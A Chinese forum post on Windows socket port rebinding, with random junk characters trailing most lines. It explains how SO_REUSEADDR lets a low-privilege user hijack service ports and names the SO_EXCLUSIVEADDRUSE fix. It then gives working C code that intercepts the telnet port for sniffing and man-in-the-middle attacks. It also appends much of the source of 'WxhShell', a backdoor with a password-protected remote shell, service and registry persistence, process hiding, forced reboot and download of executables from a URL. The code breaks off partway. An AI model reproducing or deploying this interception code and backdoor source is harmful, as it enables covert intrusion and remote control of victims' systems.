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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o/I<)sa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ')#E,Y%Hq  
T:0X-U  
  saddr.sin_family = AF_INET; 2G"mm (   
gnbs^K w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); db"FC3/H  
(_ov _3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'e-Nt&;  
mwFI89J'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "Kk3#  
_I_Sq,Z#  
  这意味着什么?意味着可以进行如下的攻击: fk!wq. a  
8VvoPlo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L K9vvQz  
] *{QVn(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hCO*gtA)M  
oS)0,p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zypZ3g{vz  
gf+Kr02~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *IzcW6 [9  
^SCZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `>RJ*_aKEI  
HzB&+c? Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 76[aOC2Ad  
U{D ?1tF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dQ^>,(  
Uq)|]a&e  
  #include 3+m#v8h1  
  #include c1wM"  
  #include aKaqi}IT  
  #include    / /qTMxn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Vn1kC  
  int main() _1*EMq6  
  { gcr,?rE<  
  WORD wVersionRequested; zQ xZR}'  
  DWORD ret; AO;`k]0e  
  WSADATA wsaData; +-,Q>`  
  BOOL val; IoNZ'g?d  
  SOCKADDR_IN saddr; MoA2Cp;8X  
  SOCKADDR_IN scaddr; GFvZdP`s4  
  int err; , j ,[4^  
  SOCKET s; '6{q;Bxo  
  SOCKET sc; 1rC8] M.N  
  int caddsize; cWgiFv  
  HANDLE mt; 9A\J*OU  
  DWORD tid;   kgK7 T  
  wVersionRequested = MAKEWORD( 2, 2 ); r6]r+!63"  
  err = WSAStartup( wVersionRequested, &wsaData ); %Zx/XMs}e  
  if ( err != 0 ) { 6+IOJtj  
  printf("error!WSAStartup failed!\n"); O:q}<ljp  
  return -1; GZQ)Tz R  
  } J),7ukLu^  
  saddr.sin_family = AF_INET; c[<lr  
   [w~teX0!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N;D (_:^  
OM]p"Jd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {AIP\  
  saddr.sin_port = htons(23); <(d ^2-0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1*?IDYB  
  { N!;Y;<Ro_  
  printf("error!socket failed!\n"); 6fPuTQ}fY>  
  return -1; e`R*6^e  
  } i>T{s-3v  
  val = TRUE; /'E+(Y&:J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $$ {ebt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %kNkDI  
  { * ok89 ad  
  printf("error!setsockopt failed!\n"); ] V]~I.  
  return -1; JU<<,0  
  } ix^:qw;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yqlkf$?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u 8U>R=M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P%pB]d.qpi  
/j -LW1:N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i1vBg}WHN  
  { n5UcivyX  
  ret=GetLastError(); (W3R3>;  
  printf("error!bind failed!\n"); abD55YJY  
  return -1; ;eG%#=>  
  } bm%2K@ /U  
  listen(s,2); Ym& _IOx  
  while(1) @Qruc\_  
  { zDa*n:S  
  caddsize = sizeof(scaddr); w[PW-m^`  
  //接受连接请求 h'UWf"d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oX3Q9)  
  if(sc!=INVALID_SOCKET) xi;SKv;p  
  { B_`A[0H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p(nC9NGB  
  if(mt==NULL) - K}@Gp  
  { ,0<|&D  
  printf("Thread Creat Failed!\n"); QEUg=*3W=  
  break; } 5OlX  
  } ,a$LT   
  } 4s`*o/it  
  CloseHandle(mt); 3z&,>CEX  
  } Z i7(lG  
  closesocket(s);  +aP %H  
  WSACleanup(); "5XD+qi  
  return 0; \C}tK,79  
  }   :+]6SC0ql  
  DWORD WINAPI ClientThread(LPVOID lpParam) I$qL=  
  { tDEpR  
  SOCKET ss = (SOCKET)lpParam; %~Nf,  
  SOCKET sc; `{F8#    
  unsigned char buf[4096]; z(1h^.  
  SOCKADDR_IN saddr; ^fnRzX  
  long num; n{Jvx>);  
  DWORD val; X /5tZ@  
  DWORD ret; , X$S4>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yKZ~ ^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9]NsWd^^  
  saddr.sin_family = AF_INET; .j7|;Ag  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *PL+)2ob  
  saddr.sin_port = htons(23); DKIDLf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jE2ziK  
  { J[LGa:``  
  printf("error!socket failed!\n"); axU!o /m>  
  return -1; aeSy, :  
  } J>hl&J  
  val = 100; Z`b,0[rG[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (jY.S|%  
  { + 6r@HK`,t  
  ret = GetLastError(); (O&~*7D*  
  return -1; XFK$p^qu  
  } tm+}@CM^.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !n uXK  
  { Q:_pW<^  
  ret = GetLastError(); RG*Nw6A  
  return -1; s%4)}w;z  
  } !S(jT?'w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bu!Gy8\  
  { CoJaVLl  
  printf("error!socket connect failed!\n"); \,p)  
  closesocket(sc); +qsdA#2  
  closesocket(ss); C6'[Tn  
  return -1; > )#*}JI  
  } pk;bx2CP8  
  while(1) 0" R|lTYq  
  { ynP^|Ou  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rK=[&k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rX;(48Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X$JKEW;0BP  
  num = recv(ss,buf,4096,0); 2vj)3%:7#E  
  if(num>0) Q.\+ XR_|  
  send(sc,buf,num,0); vNE91  
  else if(num==0) / d6mlQS  
  break; i7 p#%2  
  num = recv(sc,buf,4096,0); }b\d CGVr  
  if(num>0) ;'gzR C  
  send(ss,buf,num,0); q%>L/KJ#  
  else if(num==0) 9QY)<K~a  
  break; 4,$x~m`N  
  } C?hw$^w7T  
  closesocket(ss); Q~-gtEv+&  
  closesocket(sc); 7;|6g8=  
  return 0 ; ;PS [VdV  
  } !xe<@$  
;2dhue  
mGL%<4R,  
========================================================== PjsQ+5[>  
L]HY*e  
下边附上一个代码,,WXhSHELL /}M@ @W  
II~D66 bF  
========================================================== ?]3`WJOj  
hrcR"OZ~X  
#include "stdafx.h" OSkZW  
Y=}b/[s6;  
#include <stdio.h> 4|++0=#D$  
#include <string.h> [%QJ6  
#include <windows.h> ;! CQFJ=  
#include <winsock2.h> zyCl`r[}  
#include <winsvc.h> .4-;  
#include <urlmon.h> ;AG5WPI  
CH9#<?l  
#pragma comment (lib, "Ws2_32.lib") Z#4? /'  
#pragma comment (lib, "urlmon.lib") fep#Kb%"e  
U8< GD|  
#define MAX_USER   100 // 最大客户端连接数 &NGlkn  
#define BUF_SOCK   200 // sock buffer @.CPZT  
#define KEY_BUFF   255 // 输入 buffer `86 9XE  
`?Y/:4  
#define REBOOT     0   // 重启 O 6A:0yM4  
#define SHUTDOWN   1   // 关机 &+*jTE  
'>`bp25>  
#define DEF_PORT   5000 // 监听端口 AV&W&$  
KtV_DjH:  
#define REG_LEN     16   // 注册表键长度 3s>& h-E  
#define SVC_LEN     80   // NT服务名长度 r."Dc  
~@sx}u  
// 从dll定义API +Do7rl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 26\1tOj Np  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z ^a,7}4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y%wF;I1x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >nl *aN  
!vett4C* K  
// wxhshell配置信息 tb@/E  
struct WSCFG { \>I&UFfH)4  
  int ws_port;         // 监听端口 )cOm\^,  
  char ws_passstr[REG_LEN]; // 口令 9B*SWWAj  
  int ws_autoins;       // 安装标记, 1=yes 0=no },[j+wx  
  char ws_regname[REG_LEN]; // 注册表键名 =VY[m-q5  
  char ws_svcname[REG_LEN]; // 服务名 6Ajiz_~U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OkFq>;{a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pV>/ "K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U<#i\4W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DQ'+,bxk=9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vx-u+/\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P5aHLNit  
gQ/zk3?k  
}; L:B&`,E  
fNB*o={r|  
// default Wxhshell configuration k`TEA?RfQ  
struct WSCFG wscfg={DEF_PORT, y l3iU:+V  
    "xuhuanlingzhe", t0?BU~f  
    1,  -JUv'fk  
    "Wxhshell", 0]NsT0M  
    "Wxhshell", UGR5ILf  
            "WxhShell Service", b/S4b  
    "Wrsky Windows CmdShell Service", ^M?uv{354  
    "Please Input Your Password: ", bJ/~UEZw  
  1, 5(DCq(\P*  
  "http://www.wrsky.com/wxhshell.exe", R8HA X  
  "Wxhshell.exe" *(r85lEou)  
    }; p]pFZ";70  
m0\(a_0V  
// 消息定义模块 >:wk.<Z-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wxp^*._q3I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VMtR4!:q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t/q\Ne\\,  
char *msg_ws_ext="\n\rExit."; }b,a*4pN  
char *msg_ws_end="\n\rQuit."; >xH3*0 Lp  
char *msg_ws_boot="\n\rReboot..."; Grw_SVa^  
char *msg_ws_poff="\n\rShutdown..."; ; G E0iSC  
char *msg_ws_down="\n\rSave to "; L@[bgN`=v  
+%>L;'L ^X  
char *msg_ws_err="\n\rErr!"; ][_:{ N/  
char *msg_ws_ok="\n\rOK!"; 9$d (`-&9p  
L!e@T'  
char ExeFile[MAX_PATH]; ?|8H $1  
int nUser = 0; :Eob"WH  
HANDLE handles[MAX_USER]; ew"[]eZ:ut  
int OsIsNt; u`   
v8w N2[fC  
SERVICE_STATUS       serviceStatus; d5WE^H)E.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I#9K/[  
=#>P !  
// 函数声明 qLPI^g,  
int Install(void); lkl#AH  
int Uninstall(void); ,cbP yg  
int DownloadFile(char *sURL, SOCKET wsh); 2poU \|H  
int Boot(int flag); +  ^~n09  
void HideProc(void); iAXx`>}m  
int GetOsVer(void); DpTQPu9  
int Wxhshell(SOCKET wsl); TmUn/  
void TalkWithClient(void *cs); -98bX]8  
int CmdShell(SOCKET sock); Y3-15:-  
int StartFromService(void); o]k[l ;  
int StartWxhshell(LPSTR lpCmdLine); -4HI9Czts  
W;0_@!?mr}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U;{VL!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I:Z38xz-[  
j&#p&`B  
// 数据结构和表定义 4V[+6EV  
SERVICE_TABLE_ENTRY DispatchTable[] = '9RHwKu&s  
{ K,^b=_]  
{wscfg.ws_svcname, NTServiceMain}, I@x*>  
{NULL, NULL} xi|iV1A  
}; E%$FX' 8&  
LTJ|EXYA  
// 自我安装 [% 3{mAd  
int Install(void) 'rd{fe_g!  
{ 0 J ANj  
  char svExeFile[MAX_PATH]; V:l; 2rW  
  HKEY key; 0eb`9yM  
  strcpy(svExeFile,ExeFile); >0~y "~M  
tb_}w@:kU  
// 如果是win9x系统,修改注册表设为自启动 2>s:wABb /  
if(!OsIsNt) { Ou,B3kuQ+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Cdd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 67f#Z&r2k  
  RegCloseKey(key); Ho\z ^w+T`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v'Lckw@G4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f5`exfdHE  
  RegCloseKey(key); _<5> E  
  return 0;  ^mG-O  
    } 2#|Q =rWB  
  } LR`/pet  
} aP4r6lLv+  
else { N(F9vZOs  
VpJ2Qpd=  
// 如果是NT以上系统,安装为系统服务 GL (YC-{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); II[qWs>RG[  
if (schSCManager!=0) ;i,yT ?so  
{ ,9q5jOnk  
  SC_HANDLE schService = CreateService BDcl1f T  
  ( 'JRkS'ay  
  schSCManager, "*TnkFTR  
  wscfg.ws_svcname, a*vi&$@`Z1  
  wscfg.ws_svcdisp, Y}F+4   
  SERVICE_ALL_ACCESS, ==|//:: \  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JqFFI:Q5a  
  SERVICE_AUTO_START, Z/a]oR@  
  SERVICE_ERROR_NORMAL, ,wnF]K 2D0  
  svExeFile, i\,#Z!  
  NULL, <;_X=s`f,  
  NULL, 9/Q5(P  
  NULL, `bivAL  
  NULL, K4oLb"gB1  
  NULL iiO4.@nT  
  ); ;l~gA|A  
  if (schService!=0) u*PN1E  
  { 2uqdx'^"  
  CloseServiceHandle(schService); H%sbf& gi  
  CloseServiceHandle(schSCManager); &o)j@5Y?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g3"`b)M  
  strcat(svExeFile,wscfg.ws_svcname); |-Y,:sY:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9g " ?`_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9n44 *sZ  
  RegCloseKey(key); `_z8DA}E  
  return 0; Riu0;U( \  
    } GndF!#?N(  
  } o3%Gc/6%  
  CloseServiceHandle(schSCManager); &{l?j>|TM  
} (}c}=V  
} _%"/I96'  
-CxaOZG  
return 1; )<jj O  
} Ue~M .LZb  
|?{Zx&yUw  
// 自我卸载 @u$4{sjgf\  
int Uninstall(void) }0qgvw  
{ N{oD1%  
  HKEY key; $FCLo8/=  
Jf4D">h  
if(!OsIsNt) { `"/@LUso  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Pd;I,k  
  RegDeleteValue(key,wscfg.ws_regname); Pm V:J9  
  RegCloseKey(key); {6v+ Dz>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !a4pKN`qLY  
  RegDeleteValue(key,wscfg.ws_regname); d94Lc-kq^  
  RegCloseKey(key); 72luTR Q  
  return 0; WEWNFTI  
  } }&EPH}V2n  
} CA:t](xqQ  
} @K2q*d  
else { #@ lLx?U  
J`V7FlM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \$GlB+ iCx  
if (schSCManager!=0) N(&,+KJ)  
{ }!5"EL(L80  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o'r?^ *W  
  if (schService!=0) -*+7-9A I  
  { mWCY%o@  
  if(DeleteService(schService)!=0) { Q+Jzab  
  CloseServiceHandle(schService); 8 w^i  
  CloseServiceHandle(schSCManager); \*a7DuVw  
  return 0; @k ~Xem%<  
  } :\gdQG  
  CloseServiceHandle(schService); ;h3c+7u1  
  } & P,8 )YA  
  CloseServiceHandle(schSCManager); wVV'9pw}  
} If2f7{b  
} _ jF, k>F  
k q_B5L?  
return 1; ,Cde5A{K  
} _q+H>1. &9  
~B|K]&/]  
// 从指定url下载文件 -hyY5!rD  
int DownloadFile(char *sURL, SOCKET wsh) M~p=OM<  
{ +-K-CXt  
  HRESULT hr; 2NqlE  
char seps[]= "/"; kf.w:X"i  
char *token; - =QA{n  
char *file; oB#KR1 >%7  
char myURL[MAX_PATH]; ^Jsx^?  
char myFILE[MAX_PATH]; jt=mK ,%  
r1JKTuuo  
strcpy(myURL,sURL); ?neXs-'-p  
  token=strtok(myURL,seps); U''/y\Z  
  while(token!=NULL) mGwB bY+5n  
  { 7WKb| /#;  
    file=token; _}{C?611c  
  token=strtok(NULL,seps); ]Dd=q6  
  } 7;0^r#:87#  
Ryr2  
GetCurrentDirectory(MAX_PATH,myFILE); /vBOf;L  
strcat(myFILE, "\\"); C.Y]PdYyj  
strcat(myFILE, file); kk )9!7  
  send(wsh,myFILE,strlen(myFILE),0); ~bg?V0  
send(wsh,"...",3,0); 5fDVJE "9"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LoqS45-)  
  if(hr==S_OK) xW!2[.O5H  
return 0; ,*wa#[  
else 3g^_Fq'  
return 1; (Lp<T!"  
ENr\+{{%  
} -Wb/3 X  
fu"#C}{  
// 系统电源模块 q% 2cx@c  
int Boot(int flag) &X }GJLC3  
{ 6;"jq92in*  
  HANDLE hToken; 7GB>m}7  
  TOKEN_PRIVILEGES tkp; &r;-=ASYzV  
w0q.cj@nd  
  if(OsIsNt) { xOt%H\*k"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AKzhal!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :Fm;0R@/k  
    tkp.PrivilegeCount = 1; N/4`afiV.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'n6D3Vse  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sy0|=E*;8"  
if(flag==REBOOT) { Fr`"XH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PsjSL8]  
  return 0; ,W'`rCxJ  
} 8rx?mX,}  
else { ,-rOfk\u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Uz,%zU#3  
  return 0; B>AmH%f/  
} x9hkE!{8  
  } `07xW*K(\Y  
  else { 5RrzRAxq  
if(flag==REBOOT) { { r yv7G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &"p7X>bd  
  return 0; >ZTRwy`_(  
} kn:X^mDXC/  
else { ?>92OuG%W?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^7G@CBic"  
  return 0; f!|7j}3  
} wrSw>sE"  
} S8(Y+jgk;a  
g\[?U9qN  
return 1; ABuK`(f.  
} R7+3$F5B  
2? 9*V19yu  
// win9x进程隐藏模块 7_xQa$U[  
void HideProc(void) _lcx?IV  
{ ^`XQ>-wWue  
3x@t7B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); omisfu_~E  
  if ( hKernel != NULL ) w~{NN K;"j  
  { h mC. 5mY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C2OBgM+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %{?EfULg  
    FreeLibrary(hKernel); X0wvOs:  
  } "#Qqwsw7  
Ro\ U T64  
return; Lq : !?)I  
} O10,h(O  
#fk#RNt  
// 获取操作系统版本 j?<>y/IR  
int GetOsVer(void) OE[| 1?3  
{ tbG^9d  
  OSVERSIONINFO winfo; <H03i"Z/S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }#]2u| G  
  GetVersionEx(&winfo); MKMWHGN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BC.~wNz6  
  return 1; R~TzZ(Ah]  
  else )(V|d$n  
  return 0; lKKg n{R  
} "jS @ug  
%xv }  
// 客户端句柄模块 j N":9+F  
int Wxhshell(SOCKET wsl) &m<:&h& b  
{ di $\\ Ah  
  SOCKET wsh; HG kL6o=  
  struct sockaddr_in client; S<fSoU+RJ  
  DWORD myID; _-mSK/Z  
<~s{&cL!%#  
  while(nUser<MAX_USER) *f<+yF{=A  
{ .S4c<pMap  
  int nSize=sizeof(client); Y=0D[o8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #2 Gy=GvV  
  if(wsh==INVALID_SOCKET) return 1; 7-S?\:J  
%+gK5aVab  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %QYW0lE  
if(handles[nUser]==0) 2E7vuFH4c  
  closesocket(wsh); Ilf;Q(*$>>  
else -|_#6-9  
  nUser++; "]H_;:{f  
  } %?  87#|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `_"F7Czn  
.l1uqCuB  
  return 0; "L ,)4v/J  
} AIN Fv;  
\; #T.@c5  
// 关闭 socket iwM$U( 9  
void CloseIt(SOCKET wsh) b&]_5 GGc  
{ r2!\Ts5v  
closesocket(wsh); H 5\k`7R  
nUser--; 5=cS5q@  
ExitThread(0); }K F f  
} pb8sx1.j;  
)DG>omCY  
// 客户端请求句柄 QT`|"RI%  
void TalkWithClient(void *cs) yn`P:[v  
{ 7# !RX3  
*m$lAWB5D  
  SOCKET wsh=(SOCKET)cs; nLvF^%P8  
  char pwd[SVC_LEN]; I!-"SuBy4J  
  char cmd[KEY_BUFF]; ut/3?E1 Z  
char chr[1]; Yf&P|Iiw  
int i,j; ECW=865jL  
' v)@K0P  
  while (nUser < MAX_USER) { -/)>DOgUq  
4{zz-4=  
if(wscfg.ws_passstr) { kfc5ra>&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v^A4%e<8^r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sao4MkSz[]  
  //ZeroMemory(pwd,KEY_BUFF); (Mzv"FN]  
      i=0; $tm%=g^  
  while(i<SVC_LEN) { @}{lp'8FYi  
l4O&*,}l##  
  // 设置超时 U=ek_FO  
  fd_set FdRead; z.vE RP56  
  struct timeval TimeOut; M_BG :P5  
  FD_ZERO(&FdRead); rg5ZxN|g  
  FD_SET(wsh,&FdRead); =(aA`:Nl  
  TimeOut.tv_sec=8; qz_'v{uAj  
  TimeOut.tv_usec=0; >v?&&FhHK<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "O (N=|b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sd m4zV]&  
!vfbgK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H\vd0DD;  
  pwd=chr[0]; [uLwr$N<%L  
  if(chr[0]==0xd || chr[0]==0xa) { NP#6'eH\  
  pwd=0; Q%T[&A}3B  
  break; #OMFv.  
  } k.5(d.*(  
  i++; I,8f{T!O@"  
    } v w  
%noByq,?  
  // 如果是非法用户,关闭 socket MJ?fMR@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BG&XCn5g|  
} VY1&YR}Y  
,h<xL-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kN~:Bh$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #lDW?  
V9:Jz Q=?`  
while(1) { ' pN[H\Ia  
I5%#A/|z  
  ZeroMemory(cmd,KEY_BUFF); 4 AWL::FU5  
=tS#t+2S  
      // 自动支持客户端 telnet标准   V$?@ z>7  
  j=0; N e<D'-  
  while(j<KEY_BUFF) { R\T1R"1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q\moR^>  
  cmd[j]=chr[0]; {VmJVO]S  
  if(chr[0]==0xa || chr[0]==0xd) { DWwPid} "  
  cmd[j]=0; 'W_u1l/  
  break; fHV%.25  
  } Mil+> X0  
  j++; 3QF/{$65!  
    } Ip_deP@  
]I^b&N  
  // 下载文件 I%<LLkQ  
  if(strstr(cmd,"http://")) { ?:AD&Dn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qG)M8xk  
  if(DownloadFile(cmd,wsh)) yQz6K6p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y#<>N-X|kA  
  else A||,|He~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6"djX47j  
  } AY x*Ngn  
  else { P]^ BE;7T  
}nx5  
    switch(cmd[0]) { 1Qk]?R/DN  
  ,L&d\M"f  
  // 帮助 $o%:ST4  
  case '?': { CK=TD`$w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UKpc3Jo:~  
    break; .+ d.~jHX  
  } 'c/S$_r  
  // 安装 k}&7!G@T  
  case 'i': { 4 \Ig<C9  
    if(Install()) q]2t3aY%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p6c&vEsNj  
    else 1DR ih>+#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kMx^L;:n  
    break; @>Bgld&vl  
    }  eQU~A9  
  // 卸载 [,0[\NC  
  case 'r': {  DJJd_  
    if(Uninstall()) r "uQ|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>zYUT[V  
    else 80GBkFjV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dRL*TT0NW  
    break; i9+qU  
    } <ebC]2j8cK  
  // 显示 wxhshell 所在路径 *Roqie  
  case 'p': { UC@Jsj~f  
    char svExeFile[MAX_PATH]; <8iu:nR  
    strcpy(svExeFile,"\n\r"); fNk0&M  
      strcat(svExeFile,ExeFile); ;k:17&:8ue  
        send(wsh,svExeFile,strlen(svExeFile),0); y2M]z:Y U  
    break; [[7=rn}@<  
    } 3C gmZ7[  
  // 重启 y!M# #K*  
  case 'b': { OPuty/^!Gw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S;K5JBX0#  
    if(Boot(REBOOT)) ua!43Bp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $W;f9k@C!  
    else { SVn $!t  
    closesocket(wsh); %7hf6Xo=  
    ExitThread(0); ,<s/K  
    } ( yK@(euG  
    break; t2LX@Q"  
    } I~F]e|Ehqr  
